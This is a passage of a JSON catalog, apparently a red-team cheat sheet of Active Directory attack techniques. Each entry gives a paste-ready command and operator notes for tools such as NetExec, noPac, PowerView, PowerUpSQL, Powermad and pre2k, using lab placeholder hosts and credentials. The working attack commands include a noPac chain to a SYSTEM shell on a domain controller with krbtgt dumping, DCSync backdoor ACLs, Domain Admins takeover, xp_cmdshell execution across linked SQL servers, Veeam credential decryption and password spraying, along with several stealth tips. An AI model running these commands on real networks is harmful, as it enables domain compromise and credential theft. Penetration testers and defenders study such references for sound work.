       "Username",
       "Password"
     ],
     "services": [
       "SMB"
     ],
     "references": [
       "https://github.com/Pennyw0rth/NetExec",
       "https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-keepass"
     ],
     "added": true
   },
   {
     "id": "wadcoms:NetExec-SMB-SpiderPlus",
     "toolId": "wadcoms:NetExec",
     "toolName": "NetExec",
     "name": "NetExec-SMB-SpiderPlus",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Collection",
       "Discovery"
     ],
     "nativeCategory": [
       "Collection",
       "Discovery"
     ],
     "command": "# JSON share/file inventory only (metadata, no downloads)\nnxc smb 10.10.10.1 -u john -p password123 -M spider_plus\n\n# Download every readable file under the size limit\nnxc smb 10.10.10.1 -u john -p password123 -M spider_plus -o DOWNLOAD_FLAG=True",
     "description": "The spider_plus module walks every share the authenticated user can read and writes a per-host JSON inventory of file metadata (path, size, ctime/mtime/atime) to the output folder, giving you a fast triage map of what exists before you pull anything down. By default it only catalogs; setting DOWNLOAD_FLAG=True makes it copy files under MAX_FILE_SIZE to the loot folder. Prefer the metadata-only run first to stay quiet and avoid mass file reads. Good starting point for share enumeration at scale with a single low-priv credential.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "SMB"
     ],
     "references": [
       "https://github.com/Pennyw0rth/NetExec",
       "https://www.netexec.wiki/smb-protocol/spidering-shares"
     ],
     "added": true
   },
   {
     "id": "wadcoms:NetExec-SMB-Veeam",
     "toolId": "wadcoms:NetExec",
     "toolName": "NetExec",
     "name": "NetExec-SMB-Veeam",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access",
       "Collection"
     ],
     "nativeCategory": [
       "Credential Access",
       "Collection"
     ],
     "command": "nxc smb 10.10.10.1 -u john -p password123 -M veeam",
     "description": "The veeam module locates a Veeam Backup & Replication configuration database on the target, reads the stored credential records and decrypts them, recovering the accounts Veeam uses for backups (often domain or local admin). Because backup servers are commonly configured with highly privileged service accounts, this is a frequent path to escalation. Requires local admin on the Veeam server so the module can reach the backing SQL database and DPAPI material.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "SMB"
     ],
     "references": [
       "https://github.com/Pennyw0rth/NetExec",
       "https://www.netexec.wiki/smb-protocol/obtaining-credentials/veeam"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Nltest-DomainTrusts-Discovery",
     "toolId": "wadcoms:Nltest",
     "toolName": "Nltest",
     "name": "Nltest-DomainTrusts-Discovery",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Discovery",
       "Enumeration"
     ],
     "nativeCategory": [
       "Discovery",
       "Enumeration"
     ],
     "command": "# List all trust relationships in the forest\nnltest /domain_trusts /all_trusts\n# Enumerate domain controllers for the domain\nnltest /dclist:test.local",
     "description": "nltest.exe is a signed Windows built-in (living-off-the-land) used to map trust relationships and locate domain controllers from an existing foothold, with no third-party tooling dropped to disk. /domain_trusts /all_trusts lists every trust relationship in the forest, and /dclist:<domain> enumerates the DCs for a domain - both useful for planning cross-domain and cross-forest movement. It runs in the current user's context on any domain-joined host.\n\nCommand Reference:\n\n\tDomain: test.local",
     "mitre": [
       "T1482"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "LDAP",
       "Kerberos"
     ],
     "references": [
       "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)",
       "https://attack.mitre.org/techniques/T1482/",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology"
     ],
     "added": true
   },
   {
     "id": "wadcoms:noPac-SAMSpoof",
     "toolId": "wadcoms:noPac",
     "toolName": "noPac",
     "name": "noPac (CVE-2021-42278 + CVE-2021-42287)",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution",
       "Credential Access"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation",
       "Credential Access"
     ],
     "command": "# Interactive SYSTEM shell on the DC\npython3 noPac.py test.local/john:password123 -dc-ip 10.10.10.1 -dc-host DC01 --impersonate administrator -use-ldap -shell\n\n# Dump the krbtgt hash via secretsdump\npython3 noPac.py test.local/john:password123 -dc-ip 10.10.10.1 -dc-host DC01 --impersonate administrator -use-ldap -dump -just-dc-user krbtgt",
     "description": "noPac.py (Ridter) chains CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion) to escalate from a low-privileged domain user to SYSTEM on the Domain Controller. It adds a new machine account, renames its sAMAccountName to match the DC (dropping the trailing $), requests a TGT, restores the name, then performs S4U2self to obtain a service ticket impersonating a Domain Admin. Requires MachineAccountQuota > 0 (default 10) and a DC unpatched against the November 2021 fixes. Use -shell for an interactive SYSTEM shell via smbexec or -dump to run secretsdump against the DC.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tDC IP: 10.10.10.1\n\n\tDC host: DC01\n\n\tImpersonate: administrator",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "Kerberos",
       "SMB",
       "LDAP"
     ],
     "references": [
       "https://github.com/Ridter/noPac",
       "https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology"
     ],
     "added": true
   },
   {
     "id": "wadcoms:noPac-Scanner",
     "toolId": "wadcoms:noPac",
     "toolName": "noPac",
     "name": "noPac Vulnerability Scanner",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "python3 scanner.py test.local/john:password123 -dc-ip 10.10.10.1 -use-ldap",
     "description": "scanner.py ships with Ridter's noPac and safely checks whether a Domain Controller is exploitable via the sAMAccountName spoofing chain without adding or renaming any accounts. It authenticates as a normal domain user and reports the current MachineAccountQuota and whether the DC is patched against CVE-2021-42278 / CVE-2021-42287. Run it first as a low-noise reconnaissance step before launching the full noPac.py exploit.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tDC IP: 10.10.10.1",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "Kerberos",
       "LDAP",
       "SMB"
     ],
     "references": [
       "https://github.com/Ridter/noPac",
       "https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerMad-NewMachineAccount",
     "toolId": "wadcoms:PowerMad",
     "toolName": "PowerMad",
     "name": "PowerMad-NewMachineAccount",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Execution",
       "Privilege Escalation"
     ],
     "nativeCategory": [
       "Exploitation",
       "PrivEsc"
     ],
     "command": "# Import Powermad and create a new machine account\nImport-Module .\\Powermad.ps1\nNew-MachineAccount -MachineAccount EVILPC -Password $(ConvertTo-SecureString 'password123' -AsPlainText -Force)",
     "description": "Powermad's New-MachineAccount cmdlet creates a new computer account in the domain over LDAP/SAMR from a Windows foothold, abusing the default ms-DS-MachineAccountQuota (10) that lets any authenticated user add machine accounts. The resulting account, with a password you supply, is the controlled principal for RBCD and shadow-credential chains carried out with SharpAllowedToAct or Rubeus. Run it in-session as any domain user; verify the quota is non-zero first.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tNew machine account: EVILPC\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "PowerShell",
       "Shell"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/Kevin-Robertson/Powermad",
       "https://www.thehacker.recipes/ad/movement/domain-settings/machineaccountquota",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerUpSQL-Get-SQLServerLinkCrawl",
     "toolId": "wadcoms:PowerUpSQL",
     "toolName": "PowerUpSQL",
     "name": "PowerUpSQL-Get-SQLServerLinkCrawl",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Lateral Movement"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Lateral Movement"
     ],
     "command": "Import-Module .\\PowerUpSQL.ps1\n\n# Crawl all linked servers from the starting instance\nGet-SQLServerLinkCrawl -Verbose -Instance 10.10.10.1 -Query \"SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin')\"\n\n# Run an OS command on any node that allows it\nGet-SQLServerLinkCrawl -Verbose -Instance 10.10.10.1 -Query \"exec master..xp_cmdshell 'whoami'\"",
     "description": "Get-SQLServerLinkCrawl recursively follows linked-server definitions from a starting instance, executing a query at every hop via OPENQUERY chains. Because linked servers frequently run under a higher-privileged (often sysadmin) mapped login on the remote side, crawling the graph commonly yields privilege escalation or lateral movement to instances the operator could not reach directly. Supply -Query to fingerprint each node, or drive command execution through xp_cmdshell across the chain.\n\nCommand Reference:\n\n\tTarget instance: 10.10.10.1",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "MSSQL"
     ],
     "references": [
       "https://github.com/NetSPI/PowerUpSQL",
       "https://www.netspi.com/blog/technical-blog/network-penetration-testing/how-to-hack-database-links-in-sql-server/",
       "https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerUpSQL-GetSQLInstanceDomain",
     "toolId": "wadcoms:PowerUpSQL",
     "toolName": "PowerUpSQL",
     "name": "PowerUpSQL-GetSQLInstanceDomain",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Discovery",
       "Enumeration"
     ],
     "nativeCategory": [
       "Discovery",
       "Enumeration"
     ],
     "command": "Import-Module .\\PowerUpSQL.ps1\n\n# Discover SQL Server instances from SPNs in the domain\nGet-SQLInstanceDomain\n\n# Then test which ones accept the current user\nGet-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose",
     "description": "Get-SQLInstanceDomain queries the domain via LDAP for Service Principal Names beginning with MSSQL*, revealing every registered SQL Server instance and the account it runs as without touching a single database. It is the standard domain-wide MSSQL discovery step and runs under the current user's context from a domain-joined foothold. Pipe the results into Get-SQLConnectionTestThreaded to find which instances your account can actually log into.\n\nCommand Reference:\n\n\tDomain: test.local",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "MSSQL",
       "LDAP"
     ],
     "references": [
       "https://github.com/NetSPI/PowerUpSQL",
       "https://www.netspi.com/blog/technical-blog/network-penetration-testing/finding-sensitive-data-domain-sql-servers-powerupsql/",
       "https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerUpSQL-Invoke-SQLAudit",
     "toolId": "wadcoms:PowerUpSQL",
     "toolName": "PowerUpSQL",
     "name": "PowerUpSQL-Invoke-SQLAudit",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "Import-Module .\\PowerUpSQL.ps1\n\n# Audit an instance for privesc issues\nInvoke-SQLAudit -Verbose -Instance 10.10.10.1\n\n# Execute an OS command through the instance\nInvoke-SQLOSCmd -Verbose -Instance 10.10.10.1 -Command \"whoami\"",
     "description": "Invoke-SQLAudit runs PowerUpSQL's battery of privilege-escalation checks against an instance and reports exploitable misconfigurations (impersonation, trustworthy databases, agent jobs, etc.). Where the login already has the rights, Invoke-SQLOSCmd executes an operating-system command through the instance (using xp_cmdshell), returning output. Both take -Instance in HOST\\INSTANCE or HOST,PORT form and use integrated auth by default.\n\nCommand Reference:\n\n\tTarget instance: 10.10.10.1",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "MSSQL"
     ],
     "references": [
       "https://github.com/NetSPI/PowerUpSQL",
       "https://www.netspi.com/blog/technical-blog/network-penetration-testing/establishing-registry-persistence-via-sql-server-powerupsql/",
       "https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerView-AddDomainGroupMember-DA",
     "toolId": "wadcoms:PowerView",
     "toolName": "PowerView",
     "name": "PowerView-AddDomainGroupMember-DA",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Persistence"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Persistence"
     ],
     "command": "Import-Module .\\PowerView.ps1\nAdd-DomainGroupMember -Identity 'Domain Admins' -Members john -Verbose\n# Verify\nGet-DomainGroupMember -Identity 'Domain Admins' | select MemberName",
     "description": "Add-DomainGroupMember adds a principal to a group over LDAP, and when you hold write access to the membership of a privileged group (for example via an abusable GenericAll/WriteMembers ACE) this promotes a controlled account straight into Domain Admins. This is a loud, high-impact change that should be reverted with Remove-DomainGroupMember after the objective; it is often paired with -Credential to act as the principal that actually holds the right.\n\nCommand Reference:\n\n\tUsername: john\n\n\tTarget group: Domain Admins",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/PowerShellMafia/PowerSploit",
       "https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993",
       "https://www.thehacker.recipes/ad/movement/dacl/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerView-AddDomainObjectAcl-DCSync",
     "toolId": "wadcoms:PowerView",
     "toolName": "PowerView",
     "name": "PowerView-AddDomainObjectAcl-DCSync",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Persistence",
       "Credential Access",
       "Privilege Escalation"
     ],
     "nativeCategory": [
       "Persistence",
       "Credential Access",
       "PrivEsc"
     ],
     "command": "Import-Module .\\PowerView.ps1\n# Grant john DCSync replication rights on the domain object\nAdd-DomainObjectAcl -TargetIdentity 'DC=test,DC=local' -PrincipalIdentity john -Rights DCSync -Verbose",
     "description": "Add-DomainObjectAcl grants an ACE on a target object to a principal you control. Targeting the domain head with -Rights DCSync adds the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights, letting your account replicate secrets (a DCSync attack) without being a Domain Admin. This requires that your current context can already write the domain object's DACL (e.g. WriteDacl on the domain), and it is a durable backdoor that should be cleaned up with Remove-DomainObjectAcl.\n\nCommand Reference:\n\n\tPrincipal granted rights: john\n\n\tDomain: test.local",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/PowerShellMafia/PowerSploit",
       "https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993",
       "https://www.thehacker.recipes/ad/movement/dacl/grant-rights.html"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerView-ASREPRoastable",
     "toolId": "wadcoms:PowerView",
     "toolName": "PowerView",
     "name": "PowerView-ASREPRoastable",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "Import-Module .\\PowerView.ps1\nGet-DomainUser -PreauthNotRequired -Properties samaccountname,useraccountcontrol -Verbose",
     "description": "Get-DomainUser -PreauthNotRequired finds accounts with the DONT_REQ_PREAUTH flag (userAccountControl bit 0x400000), which are AS-REP roastable because a DC will return an encrypted AS-REP without prior authentication. Use it to identify targets whose AS-REP hash you can then crack offline. This is an LDAP read only; the actual roast is performed with a separate tool such as Rubeus or GetNPUsers.\n\nCommand Reference:\n\n\tDomain: test.local",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "LDAP",
       "Kerberos"
     ],
     "references": [
       "https://github.com/PowerShellMafia/PowerSploit",
       "https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerView-DomainTrust",
     "toolId": "wadcoms:PowerView",
     "toolName": "PowerView",
     "name": "PowerView-DomainTrust",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "Import-Module .\\PowerView.ps1\n# Trusts of the current domain\nGet-DomainTrust\n# Forest / inter-forest trusts\nGet-ForestTrust\n# Recursively map every reachable trust\nGet-DomainTrustMapping",
     "description": "Get-DomainTrust enumerates the trust relationships of the current (or a specified) domain, while Get-ForestTrust returns forest-level (inter-forest) trusts. Reading trust direction, transitivity, and SID-filtering state is the first step in planning cross-domain and cross-forest attacks such as foreign group membership abuse or trust-key based ticket forging. Get-DomainTrustMapping walks reachable domains recursively to build the full trust graph.\n\nCommand Reference:\n\n\tDomain: test.local",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/PowerShellMafia/PowerSploit",
       "https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerView-FindLocalAdminAccess",
     "toolId": "wadcoms:PowerView",
     "toolName": "PowerView",
     "name": "PowerView-FindLocalAdminAccess",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Discovery",
       "Lateral Movement"
     ],
     "nativeCategory": [
       "Discovery",
       "Lateral Movement"
     ],
     "command": "Import-Module .\\PowerView.ps1\nFind-LocalAdminAccess -Verbose | Out-File output.txt",
     "description": "Find-LocalAdminAccess queries the domain for all computers and then, using the OpenServiceControlManager check, tests each one to see whether the current user context has local administrator access. It is the fastest way to discover where your foothold account can already move laterally without cracking anything. The SCM probes generate authentication traffic to many hosts, so it is not stealthy on a monitored network.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tOutput file: output.txt",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "SMB"
     ],
     "references": [
       "https://github.com/PowerShellMafia/PowerSploit",
       "https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerView-GetDomainObjectAcl",
     "toolId": "wadcoms:PowerView",
     "toolName": "PowerView",
     "name": "PowerView-GetDomainObjectAcl",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Discovery",
       "Privilege Escalation"
     ],
     "nativeCategory": [
       "Discovery",
       "PrivEsc"
     ],
     "command": "Import-Module .\\PowerView.ps1\nGet-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |\n  ? { $_.ActiveDirectoryRights -match 'WriteDacl|WriteOwner|GenericAll|GenericWrite' }",
     "description": "Get-DomainObjectAcl returns the raw DACL for a single object so you can confirm exactly which principals hold which rights over a specific user, group, computer, or the domain head. Pair -Identity with -ResolveGUIDs to expand extended rights such as DS-Replication-Get-Changes (DCSync) or User-Force-Change-Password. This is the targeted follow-up to Find-InterestingDomainAcl when you already know the object you want to attack.\n\nCommand Reference:\n\n\tTarget object: Domain Admins\n\n\tDomain: test.local",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/PowerShellMafia/PowerSploit",
       "https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993",
       "https://www.thehacker.recipes/ad/movement/dacl/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerView-GPOLocalGroup",
     "toolId": "wadcoms:PowerView",
     "toolName": "PowerView",
     "name": "PowerView-GPOLocalGroup",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "Import-Module .\\PowerView.ps1\n# All GPOs in the domain\nGet-DomainGPO -Properties displayname,name\n# GPOs that modify local group membership\nGet-DomainGPOLocalGroup\n# Where does 'john' become a local Administrator via GPO?\nGet-DomainGPOUserLocalGroupMapping -Identity john -LocalGroup Administrators",
     "description": "Get-DomainGPO enumerates every Group Policy Object in the domain, and Get-DomainGPOLocalGroup parses GPOs that use Restricted Groups or Group Policy Preferences to set local group membership (for example local Administrators). Get-DomainGPOUserLocalGroupMapping then resolves which machines a given user or group ends up as local admin on through those GPOs. Together they map the GPO-to-local-admin relationships needed for lateral movement and for finding GPOs worth abusing.\n\nCommand Reference:\n\n\tUsername: john\n\n\tDomain: test.local",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/PowerShellMafia/PowerSploit",
       "https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e",
       "https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerView-InterestingDomainAcl",
     "toolId": "wadcoms:PowerView",
     "toolName": "PowerView",
     "name": "PowerView-InterestingDomainAcl",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Discovery",
       "Privilege Escalation"
     ],
     "nativeCategory": [
       "Discovery",
       "PrivEsc"
     ],
     "command": "Import-Module .\\PowerView.ps1\nFind-InterestingDomainAcl -ResolveGUIDs |\n  ? { $_.IdentityReferenceName -eq 'john' } |\n  select ObjectDN, ActiveDirectoryRights, IdentityReferenceName",
     "description": "Find-InterestingDomainAcl surfaces ACEs across the domain that grant modification rights (GenericAll, GenericWrite, WriteDacl, WriteOwner, ResetPassword, etc.) to non-built-in principals, which are the ACL-based privilege escalation paths. The -ResolveGUIDs switch translates extended-right and property-set object GUIDs into human-readable names so DCSync and ForceChangePassword rights are legible. Filtering the output to your controlled principals quickly reveals abusable edges.\n\nCommand Reference:\n\n\tUsername: john",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/PowerShellMafia/PowerSploit",
       "https://www.thehacker.recipes/ad/movement/dacl/",
       "https://wald0.com/?p=112"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerView-InvokeUserHunter",
     "toolId": "wadcoms:PowerView",
     "toolName": "PowerView",
     "name": "PowerView-InvokeUserHunter",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Discovery",
       "Lateral Movement"
     ],
     "nativeCategory": [
       "Discovery",
       "Lateral Movement"
     ],
     "command": "Import-Module .\\PowerView.ps1\n# Hunt for any Domain Admin session, flag where we already have admin\nInvoke-UserHunter -GroupName 'Domain Admins' -CheckAccess\n# Quieter variant: only query likely session hosts\nInvoke-UserHunter -GroupName 'Domain Admins' -Stealth",
     "description": "Invoke-UserHunter finds machines where a target user (or members of a target group such as Domain Admins) is logged in or has an active session, by combining Get-NetSession, Get-NetLoggedon, and Get-NetComputer across the domain. Adding -CheckAccess also reports whether you already have local admin on the hosts where the target is present, marking immediate credential-theft opportunities. Use -Stealth to only query high-value session hosts (DCs, file servers) and reduce noise.\n\nCommand Reference:\n\n\tTarget group: Domain Admins",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "SMB"
     ],
     "references": [
       "https://github.com/PowerShellMafia/PowerSploit",
       "https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerView-Kerberoastable-SPN",
     "toolId": "wadcoms:PowerView",
     "toolName": "PowerView",
     "name": "PowerView-Kerberoastable-SPN",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "# Import PowerView into the current session first\nImport-Module .\\PowerView.ps1\n# List every account with an SPN (kerberoastable)\nGet-DomainUser -SPN -Properties samaccountname,serviceprincipalname | Out-File output.txt",
     "description": "PowerView's Get-DomainUser -SPN enumerates domain user accounts that have a servicePrincipalName set, which are the candidates for Kerberoasting. Run it from an existing domain-joined foothold shell to build a target list before requesting service tickets. It only queries LDAP and does not request any TGS, so it is quiet on its own; the noisy step is the later roast.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tOutput file: output.txt",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "LDAP",
       "Kerberos"
     ],
     "references": [
       "https://github.com/PowerShellMafia/PowerSploit",
       "https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PowerView-SetDomainObjectOwner",
     "toolId": "wadcoms:PowerView",
     "toolName": "PowerView",
     "name": "PowerView-SetDomainObjectOwner",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Persistence"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Persistence"
     ],
     "command": "Import-Module .\\PowerView.ps1\n# Take ownership of the target, then we can rewrite its DACL\nSet-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity john -Verbose\nAdd-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity john -Rights All",
     "description": "Set-DomainObjectOwner changes the owner of an AD object to a principal you control. When you hold WriteOwner over a target, taking ownership lets you then write its DACL (via Add-DomainObjectAcl) and grant yourself full control, chaining a limited ACE into complete object takeover. This is the classic first step of a WriteOwner-to-GenericAll escalation against a privileged group or user.\n\nCommand Reference:\n\n\tNew owner: john\n\n\tTarget object: Domain Admins",
     "mitre": [],
     "requires": [
       "PowerShell"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/PowerShellMafia/PowerSploit",
       "https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993",
       "https://www.thehacker.recipes/ad/movement/dacl/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:pre2k-Auth",
     "toolId": "wadcoms:pre2k",
     "toolName": "pre2k",
     "name": "pre2k Authenticated Enumeration",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Discovery",
       "Credential Access"
     ],
     "nativeCategory": [
       "Discovery",
       "Credential Access"
     ],
     "command": "pre2k auth -d test.local -u john -p password123 -dc-ip 10.10.10.1 -save",
     "description": "In auth mode pre2k uses valid domain credentials to query LDAP for computer objects whose userAccountControl still flags them as pre-created (pwdLastSet == 0 / never logged on) and sprays the lowercase-name password against each. This finds pre-Windows 2000 accounts that are still active and abusable directly from an existing foothold, avoiding blind guessing. Add -targeted to focus on accounts with no lastlogontimestamp and -save to grab a TGT for each hit.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tDC IP: 10.10.10.1",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP",
       "Kerberos"
     ],
     "references": [
       "https://github.com/garrettfoster13/pre2k",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology"
     ],
     "added": true
   },
   {
     "id": "wadcoms:pre2k-Unauth",
     "toolId": "wadcoms:pre2k",
     "toolName": "pre2k",
     "name": "pre2k Unauthenticated Spray",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access",
       "Discovery"
     ],
     "nativeCategory": [
       "Credential Access",
       "Discovery"
     ],
     "command": "pre2k unauth -d test.local -dc-ip 10.10.10.1 -inputfile output.txt -save",
     "description": "pre2k (Garrett Foster) abuses pre-Windows 2000 pre-created computer accounts, whose password is the lowercase of the sAMAccountName without the trailing dollar sign (e.g. account WORKSTATION01$ has password 'workstation01'). In unauth mode it takes a list of candidate machine names (recovered from a null LDAP/RPC bind or enumeration) and Kerberos pre-auth sprays them, requiring no domain credentials. Use -save to request and store a TGT (.ccache) for any account that authenticates, giving an initial foothold.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tDC IP: 10.10.10.1\n\n\tInput file: output.txt",
     "mitre": [],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "Kerberos",
       "LDAP"
     ],
     "references": [
       "https://github.com/garrettfoster13/pre2k",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology"
     ],
     "added": true
   },
   {
     "id": "wadcoms:PrinterBug-printerbug",
     "toolId": "wadcoms:PrinterBug",
     "toolName": "PrinterBug",
     "name": "PrinterBug-printerbug",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Execution"
     ],
     "nativeCategory": [
       "Exploitation"
     ],
